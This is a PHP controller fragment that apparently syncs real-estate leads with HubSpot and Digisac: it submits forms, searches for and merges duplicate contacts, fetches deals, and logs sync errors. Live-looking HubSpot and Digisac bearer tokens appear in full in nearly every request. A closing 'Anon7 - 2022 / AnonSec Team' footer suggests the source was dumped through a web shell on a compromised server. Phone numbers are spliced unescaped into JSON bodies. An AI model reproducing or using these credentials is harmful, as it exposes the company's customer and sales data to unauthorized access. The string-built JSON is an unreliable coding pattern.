                        $mand = $crawlerController->mandeUmZapSendMessage($phone, $name, $msg, null, $serviceID);
                        $erroDigisac[] =$phone." ". json_encode($mand['json_return']);
                        if ($mand && $mand['success'] == false) {
                            $erroDigisac[] = $mand['msg'];
                        } else if (!$mand) {
                            $erroDigisac[] = 'Erro ao enviar mensagem: retorno vazio';
                        }
                    }
                }
            }
        } catch (Exception $e) {
            $erroDigisac[] = 'Erro ao utilizar Digisac: ' . $e->getMessage();
        }
        return $erroDigisac;
    }

    private function hubspot($crmA, $postH, $lesdCon, $phone, $form_id = null, $phone_number_short = null, $wl_data = null, $input_data = null) {
        if(empty($form_id))
        {
            $erroHubspot[] = 'Erro ao enviar Hubspot: ID do Formulário no Hubspot não informado';
            return $erroHubspot;
        }
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://api.hsforms.com/submissions/v3/integration/submit/6047312/'.$form_id,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS =>
            json_encode($postH),
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json'
            ),
        ));


        $response = curl_exec($curl);
        $erroHubspot = array();
        curl_close($curl);
        try {
            $hsUtk = $postH["context"]["hutk"];
            $jsonREsponse = json_decode($response);
            if (isset($jsonREsponse->status) && $jsonREsponse->status == 'error') {
                $msgE = 'Erro ao enviar ao Hubspot, ';
                if (@$jsonREsponse->errors) {
                    foreach ($jsonREsponse->errors as $re) {
                        $msgE .= $re->message;
                    }
                } else {
                    $msgE .= $jsonREsponse->message;
                }
                $erroHubspot[] = $msgE;
            } else {
                $lesdCon->hs_sync = true;
                $lesdCon->save();
                $conversion_id = $lesdCon->id;

                $erroHubspot = $this->buscarHubspot($crmA, $phone, $erroHubspot, $phone_number_short, $hsUtk, $wl_data, $input_data, $conversion_id);
            }
        } catch (Exception $e) {
            $erroHubspot[] = 'Erro ao enviar Hubspot: ' . $response;
        }
        return $erroHubspot;
    }

    public function hubspotGetLeadByPhone($phone) {
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://api.hubapi.com/crm/v3/objects/contacts/search',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => '{
                "filterGroups":[
                  {
                    "filters":[
                      {
                        "propertyName": "telefone_para_campanha_de_whatsapp",
                        "operator": "EQ",
                        "value": "' . $phone . '"
                      }
                    ]
                  }
                ]
              }',
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json',
                'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
            ),
        ));

        $response = curl_exec($curl);

        curl_close($curl);
        try {
            // $response = json_decode($response);
            $jsonREsponse = json_decode($response);
            $itemPrincipal = @$jsonREsponse->results[0]->id;
            if(!isset($jsonREsponse->total) || $jsonREsponse->total == 0)
            {
                return false;
            }
            if ($jsonREsponse->total > 1) {
                $arr_contacts = $jsonREsponse->results;
                $itemPrincipal = $arr_contacts[0]->id;
                unset($arr_contacts[0]);
                foreach ($arr_contacts as $i) {
                    $curl = curl_init();
                    curl_setopt_array($curl, array(
                        CURLOPT_URL => 'https://api.hubapi.com/contacts/v1/contact/merge-vids/' . $itemPrincipal,
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_ENCODING => '',
                        CURLOPT_MAXREDIRS => 10,
                        CURLOPT_TIMEOUT => 0,
                        CURLOPT_FOLLOWLOCATION => true,
                        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                        CURLOPT_CUSTOMREQUEST => 'POST',
                        CURLOPT_POSTFIELDS => '{
                            "vidToMerge":' . $i->id . '
                          }',
                        CURLOPT_HTTPHEADER => array(
                            'Content-Type: application/json',
                            'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
                        ),
                    ));

                    $response = curl_exec($curl);
                    curl_close($curl);
                }
            }
            $return = $this->hubspotGetContactDetails($itemPrincipal);
            return $return;
        } 
        catch (Exception $e) {
            return false;
        }
    }

    public function hubspotGetContactDetailsByUtk($hsUtk) {
        $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => 'https://api.hubapi.com/contacts/v1/contact/utk/'.$hsUtk.'/profile',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => '',
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_HTTPHEADER => array(
                    'Content-Type: application/json',
                    'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
                ),
            ));

            $response = curl_exec($curl);
            curl_close($curl);
            $response = json_decode($response);
            return $response;
    }

    public function hubspotGetContactDetails($hsContactid) {
        $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => 'https://api.hubapi.com/contacts/v1/contact/vid/'.$hsContactid.'/profile',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => '',
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_HTTPHEADER => array(
                    'Content-Type: application/json',
                    'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
                ),
            ));

            $response = curl_exec($curl);
            curl_close($curl);
            $response = json_decode($response);
            return $response;
    }

    public function hubspotGetOwnerById($ownerId) {
        $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => 'https://api.hubapi.com/owners/v2/owners/'.$ownerId,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => '',
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_HTTPHEADER => array(
                    'Content-Type: application/json',
                    'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
                ),
            ));

            $response = curl_exec($curl);
            curl_close($curl);
            $response = json_decode($response);
            return $response;
    }


    public function hubspotGetDeals($hsContactid) {
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://api.hubapi.com/crm/v3/objects/contacts/'.$hsContactid.'/associations/deals?limit=500',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'GET',
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json',
                'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
            ),
        ));

        $response = curl_exec($curl);
        curl_close($curl);
        try {
            $arr_deals = array();
            $response = json_decode($response);
            if(isset($response->results) && count($response->results) > 0)
            {
                foreach($response->results as $deal)
                {
                    $curl = curl_init();
                    curl_setopt_array($curl, array(
                        CURLOPT_URL => 'https://api.hubapi.com/crm/v3/objects/deals/'.$deal->id.'?properties=status_do_deal,dealstage,imobles_prime,dealname.num_contacted_notes,origem___nutricao_vs_site,hubspot_owner_id,quantos_quartos_esta_buscando_,status_do_deal,amount,venda_nome_do_empreendimento,venda_construtora,vgv___mbrl,closedate,pipeline,dono_do_lead__sdr_,data_criacao_da_opp__sales_pipeline_,origem___nutricao_vs_site,motivo_da_perda_do_negocio,nutricao___campanha,alto_padrao,notes_next_activity_date,caracteristica_especial__ex__duas_garagens__var__gourmet__cozinha_integrada__etc_,origem_do_lead,tamanho___quartos___suites_e_ou_area_total,notes_last_updated,closed_won_reason&archived=true',
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_ENCODING => '',
                        CURLOPT_MAXREDIRS => 10,
                        CURLOPT_TIMEOUT => 0,
                        CURLOPT_FOLLOWLOCATION => true,
                        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                        CURLOPT_CUSTOMREQUEST => 'GET',
                        CURLOPT_HTTPHEADER => array(
                            'Content-Type: application/json',
                            'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
                        ),
                    ));

                    $responseDeal = curl_exec($curl);
                    curl_close($curl);
                    try {
                        $responseDeal = json_decode($responseDeal);
                        $arr_deals[] = $responseDeal;
                    } 
                    catch (Exception $e) {
                        return false;
                    }
                }
            }
            return $arr_deals;
        } 
        catch (Exception $e) {
            return false;
        }
    }

    private function buscarHubspot($crmA, $phone, $erroHubspot, $phone_number_short = null, $hsUtk = null, $wl_data = null, $input_data = null, $conversion_id = null) {

        // TODO: verificar problema de vinculação com hubspot quando não tem hsUtk
        if(empty($hsUtk)){
            // sleep(5);
        }
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://api.hubapi.com/crm/v3/objects/contacts/search',
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'POST',
            CURLOPT_POSTFIELDS => '{
                "filterGroups":[
                  {
                    "filters":[
                      {
                        "propertyName": "telefone_para_campanha_de_whatsapp",
                        "operator": "EQ",
                        "value": "' . $phone . '"
                      }
                    ]
                  }
                ]
              }',
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json',
                'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
            ),
        ));

        $response = curl_exec($curl);

        curl_close($curl);
        try {
            $jsonREsponse = json_decode($response);
            $arr_contacts = $jsonREsponse->results;
            if(!empty($phone_number_short)){
                $curl = curl_init();
                curl_setopt_array($curl, array(
                    CURLOPT_URL => 'https://api.hubapi.com/crm/v3/objects/contacts/search',
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_ENCODING => '',
                    CURLOPT_MAXREDIRS => 10,
                    CURLOPT_TIMEOUT => 0,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                    CURLOPT_CUSTOMREQUEST => 'POST',
                    CURLOPT_POSTFIELDS => '{
                        "filterGroups":[
                        {
                            "filters":[
                            {
                                "propertyName": "telefone_para_campanha_de_whatsapp",
                                "operator": "EQ",
                                "value": "' . $phone_number_short . '"
                            }
                            ]
                        }
                        ]
                    }',
                    CURLOPT_HTTPHEADER => array(
                        'Content-Type: application/json',
                        'authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056'
                    ),
                ));
                $response = curl_exec($curl);
                $jsonREsponse = json_decode($response);
                $arr_contacts_aux = $jsonREsponse->results;
                $arr_contacts = array_merge($arr_contacts, $arr_contacts_aux);
            }

            if(count($arr_contacts) > 0){
                $itemPrincipal = 0;
                $index_aux = 0;
                foreach($arr_contacts as $key => $value){
                    if($itemPrincipal == 0 || $itemPrincipal > $value->id){
                        $itemPrincipal = $value->id;
                        $index_aux = $key;
                    }
                }
                unset($arr_contacts[$index_aux]);
                if (count($arr_contacts) >= 1) {
                    foreach ($arr_contacts as $i) {
                        $curl = curl_init();
                        curl_setopt_array($curl, array(
                            CURLOPT_URL => 'https://api.hubapi.com/contacts/v1/contact/merge-vids/' . $itemPrincipal,
                            CURLOPT_RETURNTRANSFER => true,
                            CURLOPT_ENCODING => '',
                            CURLOPT_MAXREDIRS => 10,
                            CURLOPT_TIMEOUT => 0,
                            CURLOPT_FOLLOWLOCATION => true,
                            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                            CURLOPT_CUSTOMREQUEST => 'POST',
                            CURLOPT_POSTFIELDS => '{
                                "vidToMerge":' . $i->id . '
                            }',
                            CURLOPT_HTTPHEADER => array(
                                'Content-Type: application/json',
                                "authorization: Bearer pat-na1-9cf5e994-25a2-4d6e-90f8-3a175c4b3056"
                            ),
                        ));

                        $response = curl_exec($curl);
                        curl_close($curl);
                    }
                }
                if($itemPrincipal){
                    //salva no banco e finalizar
                    ORM::for_table('module_imobles_hubspot_contacts')->where('crm_account_id', $crmA->id)->delete_many();
                    $lesdConParams = ORM::for_table('module_imobles_hubspot_contacts')->create();
                    $lesdConParams->hs_object_id = $itemPrincipal;
                    $lesdConParams->crm_account_id = $crmA->id;
                    $lesdConParams->save();

                    $data = array(
                                    "crm_account_id" => $crmA->id, 
                                    "msg"=>"contact sync pending", 
                                    "wl_data" => $wl_data, 
                                    "input_data" => $input_data, 
                                    "conversion_id" => $conversion_id);
                    $lesdConParams = ORM::for_table('module_imobles_logs')->create();
                    $lesdConParams->created_at = date('Y-m-d H:i:s');
                    $lesdConParams->type = 'hubspot_contact_sync_error';
                    $lesdConParams->params = json_encode($data);
                    $lesdConParams->save();
                } else {
                    $data = array("crm_account_id" => $crmA->id, "msg"=>"contact not found", "wl_data" => $wl_data, "input_data" => $input_data, 
                    "conversion_id" => $conversion_id);
                    $lesdConParams = ORM::for_table('module_imobles_logs')->create();
                    $lesdConParams->created_at = date('Y-m-d H:i:s');
                    $lesdConParams->type = 'hubspot_contact_sync_error';
                    $lesdConParams->params = json_encode($data);
                    $lesdConParams->save();
                }
            } else {
                $data = array("crm_account_id" => $crmA->id, "msg"=>"contact not found", "wl_data" => $wl_data, "input_data" => $input_data, 
                "conversion_id" => $conversion_id);
                $lesdConParams = ORM::for_table('module_imobles_logs')->create();
                $lesdConParams->created_at = date('Y-m-d H:i:s');
                $lesdConParams->type = 'hubspot_contact_sync_error';
                $lesdConParams->params = json_encode($data);
                $lesdConParams->save();
            }
        } catch (Exception $e) {
            $data = array("crm_account_id" => $crmA->id, "msg"=>"hubspot conection error", "wl_data" => $wl_data, "input_data" => $input_data, 
            "conversion_id" => $conversion_id);
            $lesdConParams = ORM::for_table('module_imobles_logs')->create();
            $lesdConParams->created_at = date('Y-m-d H:i:s');
            $lesdConParams->type = 'hubspot_contact_sync_error';
            $lesdConParams->params = json_encode($data);
            $lesdConParams->save();
            $erroHubspot[] = 'Erro ao consultar Hubspot: ' . $response;
        }
        return $erroHubspot;
    }

    public function digisacGetContactById($contactId){
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CURLOPT_URL => 'https://imobles.digisac.co/api/v1/contacts/' . $contactId,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => 'GET',
            CURLOPT_HTTPHEADER => array(
                'Authorization: Bearer 8cd3c1c07c14c260b98a4f1ee681e024b3945ab1'
            ),
        ));
        $return = array("error" => null, "msg" => null, "data" => null);
        $response = curl_exec($curl);
        curl_close($curl);
        try{
            $jsonREsponse = json_decode($response);
            if(isset($jsonREsponse->id) && $jsonREsponse->id == "$contactId")
            {
                $return["error"] = false;
                $return["data"] = $jsonREsponse;
            }
            else
            {
                $return["error"] = true;
                $return["msg"] = "Contato não encontrado no Digisac";
            }
        } catch(Exception $e){
            $return["error"] = true;
            $return["msg"] = "Exception: ".$e->getMessage();
        }
        return $return;
    }

}

Anon7 - 2022
AnonSec Team